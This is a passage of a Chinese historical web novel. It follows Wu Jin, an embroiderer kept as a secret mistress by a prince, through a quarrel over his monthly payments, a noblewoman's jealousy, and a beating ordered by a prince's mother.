程姨娘说的确如此,那些人乱说,害得桃子清誉有损,这下就更没有人要上门说亲了,他们都没有地方说理去。
舅妈她们很怜悯地看向乌锦,纷纷叹一口气。
羊杂汤喝得差不多后,大人们继续坐一块闲聊,年关将至,她们开始聊要置办哪些年货,这小孩子过年期间总要置办一两套新衣,只有过年的时候才会置办新衣,平日里都是穿上头哥哥姐姐留下来的旧衣,舅妈姨妈她们问哪家料子便宜。
到了午时后,她们又开始包饺子,从和面开始,活大多是女人干了,男人不用干。
乌锦身为晚辈,其实也不怎么需要干活,就陪着她的弟弟妹妹玩。
几百个饺子包好煮好,他们又坐下来吃饺子,吃完后才各回各家,冬至一天就这样过去。
第二日清晨,乌锦早起,穿上紫红色的短袄,坐在床上刺绣,刺了半个时辰才开始梳洗,用早膳,随后跟彩玉一起走去绣秀苑,快到铺子门口时,她瞥见张宗。
张宗似乎有些惊讶,又匆匆离开,背影有些慌乱。
乌锦纳闷,一大早的,张宗怎么会出现在这,以前她跟张宗还在一起时,张宗就是这样一大早过来跟她见面,说上几句话后才去军营。
铺子开门半个时辰,没什么客人,安安静静的,乌锦开始画画,画一些新式样,有时候客人也不知道绣什么图案,她会将画册给他们看,上面是她提前画好的图案。
忽听见脚步声,她抬头一看,来人是雅尔江阿,他穿着天青色短袄,平金云鹤夹马长褂,底下是青缎长靴,自从上次雅尔江阿说纳她为妾,她拒绝后,他们有四个月多没见过了。
她不知道雅尔江阿过来是想干什么,她正常问一句是不是想找绣娘。
雅尔江阿看着面前的人,几个月没见,他觉得乌锦好像变了一点,皮肤更白皙了,没有伤疤的右脸白里透红,他竟然觉得此时的乌锦是好看的。
四阿哥送了两个女人给他,加上他
这几个月事务繁多,他渐渐忘了乌锦,是前几日他听说乌锦给李夫人送了冬至礼,他才想起她,不想还好,一想就止不住,他不明白乌锦为何要拒绝他,当他的侍妾对寻常女子而言是飞上枝头变凤凰,她怎么会拒绝,她阿玛本就是镶蓝旗的佐领,而他的阿玛是镶蓝旗的旗主,只要她当了他的侍妾,她阿玛以及她一家人都能得到好处,乌家从此以后也能扬眉吐气,在这么大的诱惑面前,她怎么能抵得住。
“乌锦,我几个月前说的话还算数。”
乌锦挑眉,有些意外,那人还没跟他说他们之间的事,她以为那人跟雅尔江阿说了,看来那人其实也不想被别人知道他养外室。
“世子爷,我几个月前说的话也是算数的。”
雅尔江阿不明白乌锦为何这么冷静地拒绝他,换成别人早就乐上几天几夜了,他走近,话锋一转:“快过年了,小孩子需要穿新衣,我想要你帮绣一顶三岁小孩能戴的冬帽,要大红色的,这样看起来喜庆一些。”
“冬帽?世子爷想往冬帽上绣什么图案?”
“随你,你想绣什么就绣什么。”
“那小世子是属什么的?”
“属兔的。”
“二两银子,世子爷要先付一辆订金。”
其实一两银子就够了,但乌锦知道雅尔江阿肯定不缺这二两银子,她把价格说高一些。
果然,雅尔江阿很爽快地拿出二两银子给她。
乌锦说十五日能绣好,到时候她让人送到王府给他。
雅尔江阿说他十五天过来拿就好,说完后就离开铺子。
乌锦觉得雅尔江阿似乎还没有放弃让她嫁给他当妾的想法,男人大多如此,越得不到就越想得到,他出身高贵,被她这样的普通女子拒绝,他肯定纳闷为什么,说到底他不是因为喜欢她,而是自尊心受挫,产生征服欲,想让女人臣服在他脚底下,得到后过一段时日,他很快会厌倦。
她只希望他不要给她带来什么麻烦,雅尔江阿性格比那人好一些,他不是一上来用狠手段逼迫她,还是那人疯一些。
第37章第37章更新
第37章
临近傍晚,谢嬷嬷又过来,让她明日过去宅子那边,乌锦应下,她上一次见他是半个月前,一个月顶多见两次,他有家有室,不可能频繁见她,她还希望他最好半年都不来找她。
第二日中午,乌锦先到,坐在铺炕上看书等他,这屋子里放了两个掐丝珐琅炭盆,里面烧的是上好的银炭,耐燃又不易起烟,将屋内烤得暖烘烘的。
乌锦家哪怕是到了冬日,白天也很少烧炭,夜里睡觉时才烧一些柴火将铺炕弄热,一家人都睡在铺炕上,他们只会用一些容易起烟的黑炭,银炭不是普通人家用得起的。
乌锦将外面那件杏色方胜纹暗花缎袄脱下,等了好一会儿,那人才过来,他穿了一件对襟貂皮无袖坎肩,内里是浅蓝色暗花绸夹袄褙子,看上去华贵无比。
胤禛瞥了乌锦一眼,这女人如今见到他连行礼都不行了,一副很自然恣意坦荡的样子,以前还会有恭敬拘谨的神态出现。
“你是不是忘了什么?”
“什么?”
“你见到我该行礼的。”
乌锦一听差点翻白眼,她以为自己见到他不用再行礼,毕竟他们做过那么多回,也算是“熟悉”,他怎么还拘于这些礼节,她行不行礼能改变什么,他就是想拿捏她,非要在这种小事上折腾她。
她不得不从铺炕上起身,双手交叠放在左侧,朝着他屈膝低头,说道:“给世子爷请安,世子爷万福金安。”
胤禛这才满意地点点头,他坐到刚才乌锦坐的位置,示意她过来。
乌锦刚走过去,人就被扯到怀里,被他扳过脸,接着他就亲上来,唇瓣被撬开,她坐在他腿上,任由他采撷攻入。
胤禛吻了许久,吻过瘾后才松开她,问了一句脸怎么了。
乌锦疑惑,摸着自己的脸,“怎么了?是沾上什么东西了吗?还是世子爷的口水留在上面了?”
胤禛掐她的脸,沉声道:“你给我小心说话。”
“那你说怎么了?”
胤禛看着她的脸,其实是冬日严寒干燥,她脸上的皮肤有些裂开,出现一道道裂纹,脸颊处有两坨苹果红,摸着不如原来顺滑柔嫩。
“裂开了,不好摸了。”
乌锦才明白他说的是什么,冬天皮肤裂开不是很正常的事嘛,她又不像他养尊处优,天天待在有炭盆的地方,冻不着他,他们这些普通百姓不得为了赚钱养家在外面奔波,她其实有抹一些防干裂的蛇油膏,只是作用不大,毕竟京城的冬天实在干燥。
她没好气道:“那世子爷还是别摸了,免得脏了世子爷的手。”
胤禛轻笑,把她抱到床上。
乌锦知道这人今日心情好,他心情好的时候跟你说说笑笑,仿佛他们是一对甜蜜恩爱的恋人,心情不好的时候,他整个人开始发疯,轻则骂重则打,像那次那样伤她,其实就是一个阴晴不定的人,在他面前不能掉以轻心,不然惹怒他,他又会发疯。
乌锦感觉到他微凉的手掌在她身上游移,她搂着他的腰,慢慢也沉浸其中,跟着起起浮浮。
事后,胤禛还躺在床上,他偏头看乌锦,她脸颊处的酡红更红了,眼里泛着春意,他不知为何又凑近她,攫住她的红唇,她会回应他。
“世子爷……”
“嗯?”胤禛觉得自己又想来一次。
“每个月二十两银子,上次世子爷给的一百两抵五个月,但五个月已经过去了,世子爷该再给奴婢银两了。”
胤禛松开她,对上她坦荡的眼神,在这个时候跟他要银子,她可真是会见机行事啊!
“所以我要是不给你,我今日就不能碰你了?”
“奴婢可不是这个意思,奴婢只是想提醒世子爷,奴婢全家指着这二十两银子过年呢,临近年关,总要置办年货。”
胤禛冷笑一声,眼神顿时变得冰冷:“你们家这是指着你卖身的银两过年?”
乌锦不明白他怎么突然之间又变得愤怒起来,是他自己说的每个月给她二十两,还说给她荣华富贵,荣华富贵她就不指望了,但这二十两是她该得的,她凭什么不能要,她若是卖身,他又是什么,他只会比她更肮脏更下作。
“世子爷是不想给吗?世子爷先前答应过奴婢的。”
胤禛只觉得一口气憋在胸膛里,上不去下不来,只想掐死面前的女人,他喊一声来人啊,让人伺候他穿衣。
乌锦攥着锦被,看着谢嬷嬷给他穿好衣服,他气得直接离开,她自始至终都不明白他为何生气,身为堂堂世子,不至于要赖账吧,二十两银子拿不出?
乌锦没觉得自己错了,那二十两就是她该得的,本该上个月跟他讨要的,她等一个月才跟他要,而且她不过是提醒他,怕他贵人多忘事,他有什么好生气的。
谢嬷嬷跟瓜嬷嬷送走主子爷后,两人都过来问一句发生什么了,怎么还闹得不欢而散了。
“我也不知道他为什么生气,可能世子爷的性子就是如此,喜怒无常,阴晴不定。”
谢嬷嬷劝道:“乌姑娘,你可千万别跟主子爷拧着来,什么事都要服软,多说些好听话,跟主子爷拧着来对乌姑娘是没有好处的。”
“我什么都没做错。”
“没做错也得认错,你可别跟主子爷犟着。”
谢嬷嬷跟乌锦也相处一段时日了,跟主子爷比起来,乌姑娘的性子也不是那么绵软的,硬碰硬只会让乌姑娘受伤,谁让乌姑娘身处在低位,哪有奴才跟主子犯横的。
乌锦无奈道:“他都走了,我想服软也没有机会,嬷嬷,把避子汤给我端过来吧。”
谢嬷嬷差点忘了避子汤,她连忙去
端。
乌锦喝完避子汤后就准备离开了,她给谢嬷嬷跟瓜嬷嬷一人塞二两银子,提前给她们的过年赏银,她觉得她可能在过年前都不会被召过来这座宅子。
她虽然不喜欢她们的主子爱新觉罗.保泰,但谢嬷嬷跟瓜嬷嬷待她不错,伺候她时是用心的,并没有因为她是外室而给她脸色看,看不起她,不管她们心里怎么想的,至少面上她们待她是恭敬的,她往后说不定有需要她们帮忙的时候。
“乌姑娘,这太多了。”
“没事,你们就收下吧,快过年了,两位嬷嬷可以置办一些年货,给自己买些好吃的,我就先走了。”
乌锦硬塞给她们,让她们收下,随即走出房间,让赵师傅送她回去。
……
十一月十五日,雅尔江阿过来取冬帽,乌锦做了一个兔子壮的棉风帽,上面用五彩丝线绣了三只兔子。
雅尔江阿拿到后端详一会,见到帽子上栩栩如生的兔子,不由称赞道:“你的绣工的确不错,这二两银子花得值。”
“世子爷喜欢就好。”
雅尔江阿抬头看乌锦,刚想说什么时,乌锦就看向他身后,有别的客人进来,有旁人在,他只好先离开。
等他回到王府,他的儿子德隆正在院子里玩,瓜尔佳氏正陪着儿子玩,他走过去把帽子戴到德隆头上。
瓜尔佳.芷安一脸惊奇:“世子爷,你哪来的帽子?这帽子很好看耶。”
雅尔江阿解释道:“快过年了,今年冬天又这么冷,我去外面买一顶帽子给德隆御寒,这帽子做得可爱,毛茸茸的兔子,看着很喜庆。”
男人的心没有女人细,平日里德隆的衣食住行都是她在管,世子爷顶多回来问问德隆今日怎么样了,在做什么,很少为德隆添置什么衣物,这还是世子爷头一回给儿子置办东西,瓜尔佳.芷安止不住地高兴,摸了摸那顶帽子,这帽子是兔子状,是浅粉色的,里面跟外面都毛茸茸的,摸着很舒服,冬日戴着正好。
她看到正中间刺绣的图案,五彩丝线绣成的兔子活灵活现,绣得特别好,她摸了摸上面的图案,突然觉得这精湛的刺绣手艺有点眼熟。
瓜尔佳.芷安似不经意地问了一句:“世子爷,这是在哪里买的?我也想去买几顶送给我那几个幼弟,就当是过年礼了。”
“在街上摊贩那买的,我看着不错就买了,他们可能卖完了就没有了。”雅尔江阿不知为何对着妻子撒谎,没有说是乌锦的铺子那买的。
瓜尔佳.芷安一听这个答案,心中更加怀疑,街上摊贩哪有这种刺绣手艺,这针线平整,兔子又是双面绣,里面外面看都是栩栩如生的兔子,一看就是刺绣水平精湛的绣娘绣的。
她几个月前也去乌锦所在的那间铺子买了一条抹额,她觉得那条抹额上绣的针法跟这帽子上的很相似,会不会是世子爷就是找乌锦绣的。
她以为过了几个月,世子爷已经忘了乌锦,没想到竟然偷偷过去找乌锦,而且是给德隆置办帽子,这是想让乌锦当德隆的后娘吗?
瓜尔佳.芷安觉得世子爷真对那个乌锦上心了,过了几个月还念念不忘,特意过去找乌锦,照顾乌锦的生意,她心里不由警觉起来。
她虽说是嫡福晋,可有时候世子爷的心不在她身上,自然不会偏爱她,男人只会偏爱他喜欢的女子,既然世子爷对乌锦上心,等乌锦真的进门了,哪还有她的位置。
瓜尔佳.芷安心里起了波澜,但面上尽量保持平静,正好儿子把帽子扯下来,她把帽子抓在手里,不给儿子戴,笑着跟世子爷解释:“他就是这样,什么在他头上都能被抓下来。”
“天冷,别让他在外面玩太冷,小心着凉。”
“我知道的,爷请放心。”
雅尔江阿知道自家妻子肯定会照顾好儿子,便没有多说什么,很快走进书房,让他们在院子里玩一会。
第38章第38章更新
第38章
瓜尔佳.芷安没一会就抱着德隆进屋,外面太冷,玩一会就够了,小孩子身子弱,不能冻着。
德隆好奇地抓着那顶帽子玩,既然是世子爷送的,她想扔也得过一段时日再扔,瓜尔佳.芷安没有从孩子手里抽走帽子,神情若有所思。
“福晋,怎么了?”丫鬟明秀问了一句。
“你还记不记得乌锦?这几日,你去打听打听乌家都有什么人,有什么亲戚,跟哪家走得比较近,一一打听清楚。”瓜尔佳.芷安凑在明秀耳边低声吩咐道。
丫鬟明秀点头应是。
瓜尔佳.芷安觉得屋内冷,让明香往炭盆里多添一下银炭。
“额娘……”
孩子叫她,她才将注意力转移到孩子身上,专心带孩子玩。
到了傍晚,一家三口坐在一块用膳,瓜尔佳.芷安给世子爷布菜,说些家里的琐事,世子爷不知听没听进去,他只敷衍地嗯几声,男人向来对这些事不操心,她说了一会就不说了。
好在有小孩,德隆指着他喜欢吃的菜让伺候的丫鬟给他夹,吃饭时小嘴都不会停不下来,时不时蹦出一两句话,膳桌上才不会寂静一片。
……
过几日,明秀将打听到的消息告诉她,瓜尔佳.芷安了然,怪不得之前母亲说她不会让乌锦进门,原来乌锦是庶母李夫人家的亲戚,跟李夫人沾点关系。
庶母李夫人在公公那比较得宠,又育有一子一女,母亲肯定不希望李夫人在府里的势力越来越盛,正妻得压制那些妾室,不让她们越到头顶上。
瓜尔佳.芷安这么一想,让奶娘把德隆抱过来,她把那顶帽子给德隆戴上,带着德隆过去母亲所住的正院。
西林觉罗氏正在由人伺候着喝燕窝粥,听到丫鬟禀报说儿媳跟孙子过来了,忙让人带进来。
“乖孙,快,抱过来给我看看。”
“奶奶……”
西林觉罗氏一听孙子叫她,心都软化了,把德隆抱过来,在他脸上连亲好几下,见到德隆头上戴的帽子,也称赞一句:“这冬帽还是第一次见,好可爱的一顶棉帽,这天太冷了,的确该戴着帽子,千万不能冻着我的乖孙。”
听母亲这么说,瓜尔佳.芷安就顺着说道:“母亲,这是世子爷给德隆买的,特意请了绣秀苑的绣娘在上面刺绣,德隆属兔,你看上面的兔子绣得多好。”
西林觉罗氏细看上面绣的兔子,和蔼笑道:“是绣得很好,这颜色也好,雅尔江阿当了阿玛后变得稳重许多。”
“可不是嘛,他有空的时候会陪着德隆玩,德隆可黏他阿玛了,一上午没见到阿玛,就嚷嚷着找阿玛,母亲,你看这绣娘的手艺真好,还是双面绣,这绣娘的手艺跟宫里绣娘的手艺一样精湛,没想到世子爷一个大男人竟然能找到这么好的绣娘。”
瓜尔佳.芷安将帽子的反面翻过来给母亲看。
西林觉罗氏看了几眼后说的确很好,随后她注意力又放在孙子身上,摸了摸孙子的手,觉得有些凉,便让人把暖手炉拿过来。
三岁的小孩子十分好动,不肯好好抱着暖手炉,在西林觉罗氏怀里挣扎,说要下来。
西林觉罗氏只好放他下来,小孩子一下地就吭哧吭哧乱跑。
“德隆……”瓜尔佳.芷安连忙制止。
“算了,让他跑吧,别摔倒就行,快上去跟着。”西林觉罗氏示意丫鬟们跟上去,也让人给儿媳盛一碗燕窝粥。
瓜尔佳.芷安不好就着帽子跟绣娘继续说下去,怕母亲察觉到异样,于是就开始喝燕窝粥,再跟母亲商量一下过年送礼的事,送礼比较繁复,哪家送,送什么都要提前考虑好。
两人聊了好一会儿,瓜尔佳.芷安才带着孩子离开。
等他们一走,西林觉罗氏叹口气:“
芷安这孩子是耍心眼耍到我面前。”
一旁伺候西林觉罗氏多年的桂嬷嬷不明所以:“福晋,为何这么说?”
西林觉罗氏说那绣秀苑的绣娘应该就是乌锦,雅尔江阿应该是私下去找乌锦了。
“乌姑娘?世子爷这是什么意思?”
西林觉罗氏还以为雅尔江阿已经歇了心思,不想再纳乌锦为妾,没想到他又去找乌锦了,她只记得乌锦脸上有疤,算不上好看,一个不好看的女人勾得她儿子想纳她为妾,可见这女人心机颇深,原先已经跟张参领的儿子订婚了但又毁婚,许是那女人觉得勾上她儿子了,这里面有没有李氏的推波助澜。
李氏当妾不安分,这么多年勾得王爷偏心于她,如今又让她的侄女过来勾她的儿子,如此不安守本分,她更不会让乌锦进门,当妾都不行。
“不管他是什么意思,乌锦不能进门,我不想家宅不宁,他有什么心思都得给我收回去。”西林觉罗氏冷声道。
“就怕世子爷不听,越是劝阻他,他越是不听。”
西林觉罗氏也是担心这个,她这个儿子有时候性子倔得很,既然从她儿子身上行不通,那就从乌锦那边入手,她跟桂嬷嬷吩咐两句,桂嬷嬷点点头,过一会儿桂嬷嬷就出府了。
……
乌锦这边白天刺绣,跟她铺子里的绣娘交代绣活,临近年关,她还得算账,虽说那人不给她银两,但其实上次他给的一百两,她还剩下五十两没动,加上年前铺子生意好,其实她也没有缺钱到买不起年货的地步。
简亲王府的下人过来让她绣六个荷包,要喜庆一点的颜色,七天内绣好,她接下这单生意,回家后让她额娘帮忙做荷包,她额娘跟小娘的手工也还行,至少做荷包没问题。
等做好后,她亲自送去王府,这是对方要求的,去王府的路上,她想着快过年了,她得给李夫人送些年货,还有姑母那边,反正临近过年,银子花得比较快。
寒风刮在脸上生疼,乌锦在简亲王府侧门等了一会才被领着进去,哪怕她穿得厚实,此时也觉得手脚冰凉,脸上的皮肤仿佛正在裂开。
她跟在嬷嬷后面,拢紧自己身上的棉袄,沿着游廊一路走,来到正院这边,她在檐廊下等着嬷嬷进去通报,很快被请进去。
一进去就感觉到暖意,房间内燃着炭,她给坐在铺炕上的福晋西林觉罗氏屈膝行礼。
“给福晋请安,福晋万福金安。”
西林觉罗氏穿着姿色绣牡丹花的狐皮袄,端坐在那,目光冷冷地打量乌锦,迟迟没有开口叫她起身。
乌锦屈膝等了许久,膝盖都快要蹲麻了,才被叫起来,她感觉到不善的目光,不知道她做了什么惹福晋如此对她,她把做好的六个荷包递上去。
领她进来的嬷嬷接过荷包,没看,只是收在手里。
只听福晋开口道:“乌锦,我听说你要嫁入我们王府?”
乌锦一听,连忙否认:“奴婢绝对没有要嫁入王府的心,奴婢绝对没有。”
“既然没有,为何会有那么多传言?”
“奴婢也不知道,奴婢也不知道是谁传的。”
乌锦对上福晋凌厉的目光,她才意识到做荷包可能是假,福晋这是请君入瓮,是要对她发难,她跪了下来。
“福晋,奴婢真的没有,奴婢只见过世子爷几次,跟世子爷没说过几句话,奴婢卑贱,配不上尊贵的世子爷。”
西林觉罗氏目光仍然冷冽,正因为她卑贱,家世低,她才会想着攀上她儿子,想贪荣慕利,私底下不知是使了什么见不得人的手段勾引她儿子。
“乌锦,你先前借着见李氏的名义过来王府,你敢说你不是借机过来见雅尔江阿?”
“奴婢绝对没有,奴婢真的跟世子爷没有任何私情。”
“有没有不是你说了算,雅尔江阿如今吵着要纳你为妾,你倘若什么都没有做,他为何要纳你为妾?”
乌锦真是哑巴吃黄连,有冤说不出,谁知道雅尔江阿脑子里在想什么,她哪管得了别人做什么,她真的什么都没有做。
“奴婢发誓奴婢真的什么都没有做,奴婢对世子爷绝无情意,绝不会嫁入王府,当世子爷的妾,若有违背,奴婢愿意天打五雷轰,被雷劈死,死无葬身之地。”
西林觉罗氏没想到乌锦会发重誓,她言辞激烈恳切的样子不似在说谎,难不成乌锦真的没有主动勾雅尔江阿,而是雅尔江阿自己想纳乌锦为妾。
“桂嬷嬷,她在说谎,不说实话,你给我扇她的脸,扇到她说实话为止。”西林觉罗氏命令道。
桂嬷嬷立即上前,朝着乌锦的脸扇去。
乌锦没想到福晋这么不讲道理,她分明是故意刁难她,她小官之女,阿玛又在王爷手底下当差,她若是跟福晋翻脸,她阿玛恐怕也会被刁难,不仅她阿玛,她两个弟弟以后也会在镶蓝旗旗内领旗缺,日后他们的前程都把握在王爷一家人手上。
她不能只靠那个人,爱新觉罗.保泰只把她当玩物,高兴时过来逗逗她,不高兴时拿她出气,他身份再尊贵,也不会事事帮她。
乌锦知道自己不能跟福晋硬碰硬,彻底得罪福晋,她目前只能忍,于是她没有抬手制止,而是硬生生承下桂嬷嬷的几巴掌,她的脸很快被扇红扇肿。
“还不说实话?”
“回福晋,奴婢说的都是实话。”乌锦没有改口,她捂着自己的脸,依旧坚定道。
外头传来一阵喧闹声。
“世子爷,福晋有客人来访,世子爷不适合进去。”
很快雅尔江阿冲进来,见到跪在地上的人,立即质问道:“额娘,你这是干什么?”
西林觉罗氏也不知道自家儿子从哪得来的消息,怒气冲冲地闯进来,这人还没进门呢,就对她横眉竖眼,要是进门了,她以后恐怕都说不得乌锦。
“我只是跟乌姑娘说说话。”
雅尔江阿一看乌锦的脸,那么明显的巴掌印,哪是说说话的样子,他把乌锦扶起来,想把人带走。
“去哪?”
“额娘,这跟她无关,你别为难她,是我要纳她为妾,她没同意。”
乌锦看着这母子两折腾出来的闹剧,倒霉的只有她一个,她甩开雅尔江阿的手,朝福晋福福身:“福晋,荷包我已经送到了,若是没什么事,我先走了。”
她自己走出去,没管后面那些人,过一会儿雅尔江阿追上来,跟她道歉,乌锦抬眸正视雅尔江阿,语气平静:“世子爷,以后你还是离我远一点,我从来没想过要当你的妾室,你别把你的想法强加于我,人贵在有自知之明,对世子爷于我都是如此,还请世子爷别跟着我,回去跟福晋说清,我不会嫁入王府,请福晋放心。”
乌锦转身快走,把雅尔江阿甩在身后。
雅尔江阿最后还是没跟上去。
等乌锦回到铺子时,彩玉见到她的脸惊呼一声:“小姐,你怎么了,谁打你了?你不是去王府那边送荷包吗?”
乌锦说在王府里出了一点事,福晋让人扇的她,不过好在已经没事了,抹些药膏就好。
上次爱新觉罗.保泰给她两瓶无痕膏,她还没用完,拿来抹在脸上,过一会儿,她就觉得脸上的痛感消失了,这无痕膏甚是好用,只是这红肿一时半会还消不下去。
彩玉在她耳边念叨说以后再也不接王府的绣活,哪能随便打人,果然那些王公贵族都是不好惹的,一个个眼睛长到天上,仗着权势动不动就打人。
彩玉心直口快,念叨完就完了,她胆子比谁都小,只敢在她面前抱怨几句。
乌锦不明白福晋为何要为难她,哪怕雅尔江阿真的要纳她为妾,该对她不满的应该是雅尔江阿的福晋,而不是雅尔江阿的母亲。
她再细想一番才想明白,她明面上算是李夫人的人,逢年过节都会给李夫人送礼,福晋应是对李夫人不满,把气撒到她身上,若她真的想嫁入王府,她用这种方式让她知难而退。
过了两个时辰,雅尔江阿也托人
给她送药膏,乌锦没收,她是真的不想跟雅尔江阿有什么牵扯,一个爱新觉罗.保泰就够了。
翌日。
乌锦的脸更肿了,她额娘给她煮鸡蛋热敷,晓得她是被简亲王福晋打的,很是心疼,不过也知道他们家得罪不起福晋跟王爷,只能忍耐。
乌锦在家刺绣,小娘跟彩玉去守着铺子。
一上午过去,她额娘给她煮了一碗热汤圆,在她吃汤圆的时候,彩玉又跑回来,朝她眨眨眼。
“额娘,应该是铺子那边需要我,我过去看看。”
完颜氏不疑有它,知道有些复杂的绣活只能是自家女儿来做,跟客人商量,过年期间生意比平时好,她便让她女儿过去。
乌锦知道肯定是谢嬷嬷过来找她了,果不其然,她刚走出她们家的胡同就见到熟悉的马车,她让彩玉回铺子,她自己过去。
大概过了半个时辰,她才到宅子这边,瓜嬷嬷就在门口等她,说是主子爷等好一会了。
乌锦撇撇嘴,她还以为年前都不会见到他了,他突然过来,她过来本就需要半个时辰,总不能飞过来,等就等吧,又不是她的错。
“乌姑娘,你的脸怎么了?”
乌锦抚了抚自己的右脸颊,说被蜜蜂蛰到了。
瓜嬷嬷才没有继续问下去,掀开厚帘,让她进屋。
乌锦见到人,先给他行礼,那人跟瓜嬷嬷一样问她的脸怎么了,她说被蜜蜂蛰到。
“你是觉得我傻吗?”
“世子爷不信的话,我也没有办法。”
他勾勾手指示意她过去,乌锦觉得他好像在招狗,想归想,她还是走过去,结果被捏住她下巴抬起来。
“谁打你了?”
胤禛在宫里多年,他不清楚被蜜蜂蛰到会变成什么样,但被打脸扇巴掌会变成什么样,他一清二楚,这么明显的红肿一看就是被人扇的,除了他,还有谁能扇她。
乌锦也不再隐瞒,把昨日发生的事说一遍,顺带说一下福晋跟李夫人的妻妾关系,她歪在他怀里,温声道:“世子爷是不是没跟雅尔江阿说明我们的关系,雅尔江阿还在缠着我。”
胤禛以为雅尔江阿已经放下了,没想到还惦记着,他端详她的脸,没觉得有什么特别之处。
“是他缠着你,还是你勾他?”
“我已经有世子爷了,怎么可能会勾他?你跟雅尔江阿年纪相仿,在我眼里,你比雅尔江阿身份更尊贵,我巴着他,不如巴着你,我可不会捡了芝麻丢了西瓜。”
胤禛听着这话总觉得哪里不对,又说不上来,想到上次她跟他要银子,他眼眸深了深,她哪会巴着他,她只会气他。
“我会跟他说明的。”
“真的?”
胤禛点头,他对乌锦还没厌倦,他怕雅尔江阿向他一样用手段逼迫乌锦,到时候场面更不好收拾,至少在他没厌倦前,她不能被别人觊觎。
“那就好,谢谢世子爷。”乌锦主动亲了亲他。
这一亲,胤禛的欲念被勾起来,她整个人趴在他怀里,他一抱就抱得很结实,她目光落在她嫣红的唇上,他将她往上捞一捞,攫住她双唇。
过一会儿,她很识相地帮他解衣。
因他过来时,屋内才开始燃炭,屋内还没暖得很彻底,衣服一脱,她被冷得一激灵,他又拿他的皮袄披在她身上,反正不耽误底下的动作。
在床上,她是乖顺的,还会迎合他,除了喊疼,其他时候都会顺着他,此时的乌锦更是娇媚,嘤咛出声。
事后,两人都懒洋洋地躺在床上,不想动弹。
“世子爷,你还是没给我银两。”
胤禛抬眼睨她:“若是我不给你,你会怎么样?”
乌锦撅着嘴,略显委屈道:“不会怎么样,顶多是在心里咒世子爷,在心里骂世子爷言而无信,但我知道世子爷肯定不是这样的人。”
胤禛冷哼一声:“我就是这样言而无信的人。”
乌锦懒得跟他多说,默默转过身背对着他。
“你就是这样当外室的?你知不知道当外室是要会伺候人,是要端茶倒水,尽心伺候的,尤其是在床上,方才是我动得多,你只顾躺着。”
“那世子爷爱找谁找谁,我就是不会伺候人,当初是世子爷强迫我的。”
“强迫你?那你方才还紧紧攀着我脖子,不肯松开?”胤禛凑在她耳边轻声道,他整个人贴着她后背,将她的脸稍稍转过来。
“换成别人,我也一样可以。”
胤禛一听这话,脸色顿沉,他直接上手掐着她纤细的脖子:“换成谁?你想跟谁做这种事,雅尔江阿吗?”
“愿意给我二十两银子的人。”
乌锦就跟他拧着来,她得告诉他她的底线,不然他想给银子的时候就给,不想给银子的时候就不给,这样一来吃亏的是她,她不能付出这么多还什么都得不到,她感觉到他力道收紧,她就犟着不改口。
“别以为我不敢动你。”胤禛是真的愤怒,这女人是真不怕死,屡屡激怒他,他越掐越紧,看着她的脸慢慢变得涨红,她就是不松口,还故意朝他挑衅,真是不怕死!
胤禛最后还是松开她,很快附身上来。
第二次事后,乌锦的身上多了很多咬痕,胤禛见到她身上的痕迹,这才满意地点点头,说道:“放心,我会言而有信。”
乌锦这才笑了笑,又主动搂他。
胤禛心想要不是他还没厌倦,她早死了,等他腻了,他一定赐她一壶毒酒。
过半个时辰,胤禛要离开前让苏培盛拿一百两银子给乌锦,乌锦拿到沉甸甸的银子后,眼睛都笑弯了,显然在她眼里,银子比他重要,她还假模假样地给他行礼,说恭送世子爷。
胤禛见时辰差不多了,没说什么,抬脚准备离开,只是刚走几步又折回来,说了一句:“年前年后事多,接下来一个月,我不会过来找你。”
乌锦巴不得他不来找她,他来找她,她得赔笑脸,偶尔还会被一身痕迹,她对着他笑着说一句她知道了,她会想着他的。
谢嬷嬷跟瓜嬷嬷都不知道乌姑娘上一次跟主子爷闹矛盾是因为银子的事,但她们知道主子爷上一次明明很愤怒,她们以为乌姑娘要失宠了,可能主子爷要晾着乌姑娘,没成想还不到半个月,主子爷又过来找乌姑娘了。
她们都有一种共识,乌姑娘至少要得宠好一段时日,主子爷对乌姑娘有几分特殊,她们对乌姑娘就更加尊敬。
乌锦拿到银两后小心收好,对端来的避子汤也没有表现出讨厌的样子,欢欢喜喜地喝完,离开那座宅子时也是笑着离开。
第39章第39章更新
第39章
年关越来越近,家家户户备年货的备年货,扫尘清洗的扫尘清洗,年味愈来愈浓,有些人家已经将喜福跟红对联贴上。
十二月初八,腊八节,一大早,完颜氏跟程氏又去永宁寺上香,回来熬煮腊八粥,到了午时,将腊八粥送去铺子那边。
乌锦喝了两碗甜甜的腊八粥,她问有没有留一些给乌安跟乌明,乌安跟乌明两人上学是一大早去学堂,申时初才会归家,中间不会吃东西,每次他们两个放学归来都饥肠辘辘,吵着嚷着要吃东西,有时候他们会让他们带些糖果或是干果之类的小吃食,饿的话拿出来吃。
“放心吧,还能少了他们,你跟彩玉尽管吃,家里还有一锅呢。”完颜氏笑道,问今天铺子生意怎么样。
彩玉抢话说今天一单生意都没做成。
“没事,待会可能就来人了。”完颜氏安慰道。
过一会儿完颜氏跟程氏说起腌腊肉的事,想着明天一早去市集买猪肉。
乌锦顺势拿出五两银子给她们,让她们多备些年货。
完颜氏忍不住问了一句:“桃子,你哪来那么多银子?上个月你才给你小娘五两银子,我们都还没花完。”
“还不是铺子生意好,上个
月赚了十两银子。”
完颜氏有些惊讶:“能赚这么多?比你那个没用的阿玛月俸还高,不过你每天都刺绣,手上都不知道有多少针眼,其实我们花不了那么多钱,你别接那么活,要小心眼睛,别累到自己。”
“没事,额娘你忘了,我铺子里还有别的绣娘呢,不全是我一个人干活,额娘跟小娘前几日还帮我绣荷包呢。”
完颜氏这才没说什么,倒是一旁的程氏皱了皱眉头,她记得几个月前,桃子才给过她二十两,铺子生意再好,几十两银子也不是随便能赚到的,这么多银子是从哪来的,她觉得奇怪,她有两次过来铺子送膳时,铺子里只有彩玉一人,不见桃子,彩玉说桃子被人叫去府里了,她当时觉得彩玉神色不大自然,更别说桃子身上莫名其妙出现的伤口,先是额头受伤,又是脸颊红肿,她还不小心瞥见桃子身上出现青紫的痕迹,她担心桃子被那些贵妇虐打,有些人仗着权势苛待底下的人,然后再拿钱打发。
只是桃子不想说,她们若是问的话,也问不出什么。
程氏默默将疑虑跟担忧放在心里。
到了酉时初,天已经黑了,一家人又坐在一块用膳,乌志善说宫里传出噩耗,钮祜禄贵妃今早殁了,虽说宫中贵妃病逝跟他们没有很大的关系,但身为佐领,朝中武官,贵妃病逝,他们最好将门头的一些红灯笼红对联换下,门头挂上白布,在贵妃没出完殡之前,白布不要拿下,以示默哀。
